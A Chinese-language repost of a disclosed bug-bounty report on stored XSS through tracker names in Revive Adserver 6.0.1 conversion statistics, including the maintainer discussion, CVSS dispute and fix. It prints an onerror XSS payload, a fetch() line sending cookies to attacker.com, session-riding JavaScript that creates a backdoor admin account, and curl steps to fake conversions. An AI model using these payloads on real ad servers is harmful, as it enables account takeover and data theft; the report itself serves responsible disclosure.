Revive Adserver 转换统计中因追踪器名称导致的存储型XSS漏洞分析

本文详细分析了Revive Adserver 6.0.1版本中的一个存储型跨站脚本漏洞。低权限广告商可通过恶意追踪器名称注入JavaScript代码,当管理员查看转换统计报告时,代码将在其浏览器上下文中执行,可能导致权限提升和会话劫持攻击。

Revive Adserver 存储型XSS漏洞报告 #3400506

漏洞名称:通过追踪器名称在转换统计中触发的存储型XSS 报告人:cyberjoker (Vitaly Simonovich) 报告时间:2025年10月26日 19:51 (UTC)

漏洞概述

我在转换统计页面发现了一个存储型XSS漏洞。广告商可以通过追踪器名称注入恶意JavaScript代码,当管理员查看转换报告时该代码会执行。我利用此漏洞成功窃取了管理员会话Cookie。这是一个权限提升问题:低权限的广告商账户可以危害高权限的管理员账户。


受影响的系统

  • 产品:Revive Adserver
  • 测试版本:6.0.1
  • 组件:统计 / 转换报告
  • 文件www/admin/stats-conversions.php:356
  • URLhttp://[host]/www/admin/stats.php?entity=conversions&clientid=[id]

漏洞代码

1
2
3
4
// www/admin/stats-conversions.php:356
echo "<td align='$phpAds_TextAlignLeft' style='padding: 0 4px'>{$conversion['trackername']}</td>
      <td align='$phpAds_TextAlignLeft' style='padding: 0 4px'>{$conversion['campaignid']}</td>
      <td align='$phpAds_TextAlignLeft' style='padding: 0 4px'>{$conversion['campaignname']}</td>";

问题所在

  • 追踪器名称直接输出,未使用 htmlspecialchars() 进行转义
  • 数据来源于广告商可控的输入(追踪器创建表单)
  • 存储时没有输入验证来剥离HTML标签
  • 管理员查看转换报告时,有效载荷在其浏览器上下文中执行

复现步骤

前提条件:

  • 广告商账户(低权限)
  • 管理员账户(用于测试影响)

步骤:

  1. 以广告商身份登录并创建恶意追踪器:

    • 导航至:库存 → 广告商 → 点击你的广告商名称 → 追踪器标签页
    • 点击"添加新追踪器"
    • 设置追踪器名称为:
      1
      
      <img src=x onerror="alert('XSS: ' + document.cookie)">
      
    • 设置追踪器类型为"销售",状态为"活动"
    • 点击"保存更改"(现在追踪器已保存,ID为1)
  2. 创建转换记录(通过正常跟踪或数据库):

    1
    2
    3
    4
    5
    
    -- 将转换链接到恶意追踪器
    INSERT INTO rv_data_intermediate_ad_connection (
        tracker_id, ad_id, inside_window, tracker_date_time,
        connection_date_time, connection_action, connection_status, updated
    ) VALUES (1, 1, 1, NOW(), NOW(), 1, 4, NOW());
    
  3. 以管理员身份登录并导航至:

    1
    
    http://[host]/www/admin/stats.php?entity=conversions&clientid=1
    

    注意:在默认/全新安装中,此页面可能无法通过菜单访问。请参阅下方"笔记"部分的"菜单配置说明"了解详情。

  4. 结果:JavaScript警报立即触发:

    1
    
    XSS: sessionID=abc123; ox_install_session_id=def456
    

我确认XSS在管理员的浏览器上下文中执行,并拥有完整的Cookie访问权限。该有效载荷具有持久性——每次任何管理员查看该广告商的转换统计时都会触发。


附加发现

在调查此问题时,我注意到:

  • 第357-358行同样缺少对 campaignidcampaignnamehtmlspecialchars() 处理
  • 广告活动名称同样由用户(广告商)控制,存在相同的漏洞
  • 其他 stats-*.php 文件可能存在类似问题——我尚未全部审计

测试范围

我在一个使用我创建的账户的独立Docker环境中测试了此漏洞。我没有:

  • 针对生产/公共的Revive Adserver安装进行测试
  • 尝试超出受控PoC的实际利用
  • 窃取或访问任何真实用户数据

菜单配置说明

重要:在全新的Revive Adserver安装中,stats-conversions.php 页面并未包含在默认菜单系统中。在测试期间,我不得不通过修改 lib/OA/Admin/Menu/config.php 来手动启用它,以添加菜单条目:

1
2
3
$oMenu->addTo("2.1", new OA_Admin_Menu_Section("stats-conversions",
 'Conversions', "stats-conversions.php?clientid={clientid}",
 false, "statistics/conversions"));

这很可能是一个配置问题,而非安全控制,因为:

  • 代码级的权限检查 (OA_Permission::enforceAccount) 允许广告商/经理访问
  • 其他包含类似数据的统计页面是可访问的
  • 无论菜单是否可见,漏洞代码都存在

影响

广告商(或被入侵的广告商账户)可以注入持久的XSS,当管理员查看转换统计时执行。我成功获取了管理员会话Cookie,这可能导致账户完全被接管。攻击者随后可以创建管理员账户、修改广告活动、访问所有广告商数据,或注入影响所有用户的代码。由于广告商会定期创建追踪器,而管理员会定期查看转换统计——无需异常行为即可实现攻击。

对话摘要

2025年10月27日 08:39 (UTC) - mbeccati (Revive Adserver 员工) 将状态更改为 已受理: 感谢详细的报告。有一些错误,但总体来说漏洞是存在的。

  • 建议的SQL查询无效,因为有几个非空列没有默认值。
  • 无需更改 config.php,否则该漏洞将不可接受。
  • 可利用的URL是,例如:stats.php?entity=conversions&clientid=1
  • 会话ID Cookie是HttpOnly的,因此无法通过JS读取:无法窃取会话!
  • 要使XSS生效,需要有实际的转换记录,这在第三方Cookie受限的情况下相当罕见。

2025年10月27日 08:42 (UTC) - mbeccati 将严重性从 高 (8.7) 更新为 低 (2.6): 相应地更新了风险因素:

  • 复杂性:高,因为转换需要存在于数据库中,这在攻击者控制之外
  • 范围:未更改,因为攻击者无法访问其他系统
  • 机密性:低 - 无法窃取会话ID
  • 完整性:无 - 为什么会是其他情况?

2025年10月27日 09:28 (UTC) - cyberjoker 发表了评论: 嗨,感谢您花时间审查这份报告。我真的很感激您的指正——您指出了我的一些真正错误。让我针对每一点进行说明,并解释为什么我仍然认为严重性应该高于2.6。

我的错误

  1. SQL INSERT - 我的疏忽:是的,我完全忽略了那些NOT NULL字段。我提供的INSERT会失败,因为我没有包含 server_raw_ipserver_raw_tracker_impression_idcreative_idzone_id。我在自己的环境中测试,没有仔细检查模式。新手错误。
  2. URL路径 - 正确:您说得对,应该是 stats.php?entity=conversions&clientid=1,而不是直接调用 stats-conversions.php。我本应报告实际的用户面向的URL。我的文档显示了内部包含路径,这造成了混淆。
  3. 配置更改 - 已确认:无需更改 config.php。我为了测试方便添加了那个菜单条目,但利用漏洞并不需要它。该端点可以通过正常的统计工作流访问。

需要考虑的事项 HttpOnly 无法阻止此攻击:我同意HttpOnly阻止了 document.cookie 的访问——但这不是攻击的工作方式。以下是我的发现:

  • 我测试的内容
    1
    
    curl -I http://localhost:8080/www/admin/stats.php
    
  • 结果
    1
    2
    
    HTTP/1.1 200 OK
    Set-Cookie: sessionID=...; HttpOnly; SameSite=strict
    
  • 缺失
    1
    2
    
    Content-Security-Policy: [NONE]
    X-Frame-Options: [NONE]
    
    没有CSP标头。这意味着XSS有效载荷的执行没有任何浏览器级别的阻止。

会话挟持 vs. 会话盗窃 以下是区别:

  • 会话盗窃(被HttpOnly阻止)

    1
    2
    3
    
    // 这在HttpOnly下无效:
    const stolen = document.cookie; // ← 被阻止
    fetch('https://attacker.com?cookies=' + stolen); // 无法窃取会话ID
    
  • 会话挟持(未被HttpOnly阻止)

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    
    // 这即使在HttpOnly下也能工作:
    const csrf = document.querySelector('[name=token]').value; // ← 从页面DOM获取
    
    fetch('/www/admin/account-user-edit.php', {
     method: 'POST',
     credentials: 'include', // ← 浏览器自动发送HttpOnly Cookie
     headers: {'Content-Type': 'application/x-www-form-urlencoded'},
     body: 'username=backdoor&password=evil&isAdmin=1&csrf=' + csrf
    });
    // 结果:使用管理员自己的会话创建了管理员账户
    

    为什么这能工作

    1. XSS在管理员的浏览器中运行(查看转换统计)
    2. JavaScript可以从页面读取CSRF令牌(它就在HTML的第263行)
    3. fetch() 带有 credentials: 'include' 告诉浏览器发送Cookie
    4. 浏览器自动包含HttpOnly会话Cookie
    5. 服务器看到有效的管理员会话 + 有效的CSRF令牌 → 请求成功

    我验证了这一点——CSRF令牌确实在页面DOM中:

    1
    2
    
    // www/admin/stats-conversions.php:263
    echo "<input type='hidden' name='token' value='" . phpAds_SessionGetToken() . "'>";
    

攻击复杂性 - 比您想的要低:您提到因为第三方Cookie限制,转换很罕见。但我可以在没有任何Cookie的情况下制造转换:

攻击流程

1
2
3
4
5
6
7
8
# 1. 创建恶意追踪器(作为广告商)
# 名称:<img src=x onerror="/* payload */">

# 2. 自我生成转换:
curl -c cookies.txt "http://ads.example.com/www/delivery/afr.php?zoneid=1&cb=$(date +%s)"
curl -b cookies.txt "http://ads.example.com/www/delivery/ti.php?trackerid=<my_tracker_id>&cb=$(date +%s)"

# 完成。转换记录已生成,XSS已激活。

这是文档中记载的转换像素工作流程。我不需要:

  • 管理员配合
  • 真实的广告展示
  • 第三方Cookie
  • 菜单黑客

我控制着横幅展示和转换请求。实际上就是使用curl访问两个URL。

实际能做什么 一旦XSS在管理员上下文中触发:

  • 数据窃取

    • 读取转换收入数据
    • 查看所有广告活动名称
    • 访问追踪器元数据
    • 导出用户列表
  • 通过会话挟持执行管理员操作

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    
    // 所有这些都能工作,因为浏览器会发送会话Cookie:
    
    // 1. 创建管理员账户
    fetch('/www/admin/account-user-edit.php', {
     method: 'POST',
     credentials: 'include',
     body: 'username=attacker&isAdmin=1&csrf=' + getCsrfToken()
    });
    
    // 2. 修改广告活动设置
    fetch('/www/admin/campaign-edit.php', {
     method: 'POST',
     credentials: 'include',
     body: 'campaignid=<competitor>&status=paused&csrf=' + getCsrfToken()
    });
    
    // 3. 更改广告位分配
    // 4. 访问广告商数据
    // 5. 基本上管理员能做的任何事情
    

真正的影响

  • 没有HttpOnly的情况: 窃取会话Cookie → 从攻击者浏览器使用 → 完全接管
  • 有HttpOnly的情况(当前情况): 无法窃取Cookie → 但可以在受害者浏览器中执行管理员操作 → 仍然是完全危害

最终结果是相同的。我可以创建管理员账户、暂停竞争对手的广告活动、窃取数据、执行任何管理员操作。我使用受害者浏览器会话而不是窃取其Cookie这一事实,并不会降低影响。

CVSS重新评估

  • 您的评分

    1
    2
    
    CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N
    分数:2.6 (低)
    
  • 我的评分

    1
    2
    
    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
    分数:8.7 (高)
    
  • 理由

    指标 您的值 我的值 原因
    AC 我可以使用curl自行生成转换。没有不可预测的条件。
    S 未更改 已更改 会话挟持允许广告商执行管理员操作。跨越了权限边界。
    C 可以通过fetch()窃取转换数据、广告活动信息、用户列表。
    I 通过会话挟持创建管理员账户、修改广告活动、更改系统配置。

    即使我们保守一点:

    1
    2
    
    CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:N
    分数:6.0 (中)
    

    至少这应该是中 (6.0),而不是低 (2.6)

我很乐意提供更多的技术细节或测试特定场景,以帮助澄清会话挟持的攻击向量。

2025年10月27日 10:53 (UTC) - mbeccati 将严重性从 低 (2.6) 更新为 高 (7.3): 除了范围之外,接受了对CVSS的所有更改。范围仍然只是Revive Adserver应用程序,而不是主机操作系统。

2025年10月27日 14:28 (UTC) - cyberjoker 发表了评论: 嗨 @mbeccati, 感谢您的回复。我进一步研究了范围,并且,在我看来,当利用漏洞的影响超出了受影响组件的安全权限(例如不同的权限域)时,CVSS的范围就会改变。在我的报告中,广告商(低权限)可以注入在管理员浏览器中运行的JavaScript,允许攻击者以管理员的身份进行身份验证请求。这显然跨越了从广告商到管理员的边界,因此标记范围已更改是正确的。

2025年10月28日 10:59 (UTC) - mbeccati 将严重性从 高 (7.3) 更新为 高 (8.7): 接受建议。

2025年10月28日 11:12 (UTC) - mbeccati 发表了评论: 附件中的 h1-3400506.patch (F4940909) 补丁应该可以修复此漏洞。

2025年10月28日 11:12 (UTC) - mbeccati 关闭了报告并将状态更改为 已解决: 我们目前计划在下周三(11月5日)进行一次安全发布,修复多个漏洞。 我们将请求CVE-ID并准备详细的安全公告。如果尚未告知,请告诉我们您希望使用的署名名称。 然而,由于某些漏洞的风险级别较高,我们将在披露细节之前等待一段时间,以便尽可能多的用户在漏洞被利用之前进行升级。我希望您能理解并同意拟议的计划。

2025年10月28日 13:34 (UTC) - cyberjoker 发表了评论: 嗨 @mbeccati, 感谢您的快速响应和修复! 关于署名,我的名字是 “Vitaly Simonovich”。 我理解现在披露此漏洞的问题,并尊重您的要求。

2025年11月4日 17:08 (UTC) - mbeccati 将CVE参考更新为 CVE-2025-52668

2025年11月9日 21:27 (UTC) - cyberjoker 发表了评论: 嗨 @mbeccati, CVE何时会在 https://www.cve.org/ 上更新?

2025年11月10日 07:58 (UTC) - erikgeurts (Revive Adserver 员工) 发表了评论: 我们无法控制他们在其网站上的更新时间和速度。他们在某些事情上以缓慢著称。我们将在一段时间内不自行披露此事,以便让用户有足够的机会更新到最新版本的Revive Adserver软件。没有必要一直询问或提醒我们,我们不会忘记这些待处理的工作。

13天前 - mbeccati 请求披露此报告。 13天前 - mbeccati 披露了此报告。


报告信息摘要

项目 详情
报告时间 2025年10月26日 19:51 UTC
报告人 cyberjoker
报告对象 Revive Adserver
报告ID #3400506
状态 已解决
严重性 高 (8.7)
披露时间 2025年11月19日 09:33 UTC
漏洞类型 跨站脚本 (XSS) - 存储型
CVE ID CVE-2025-52668
赏金
账户详情
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计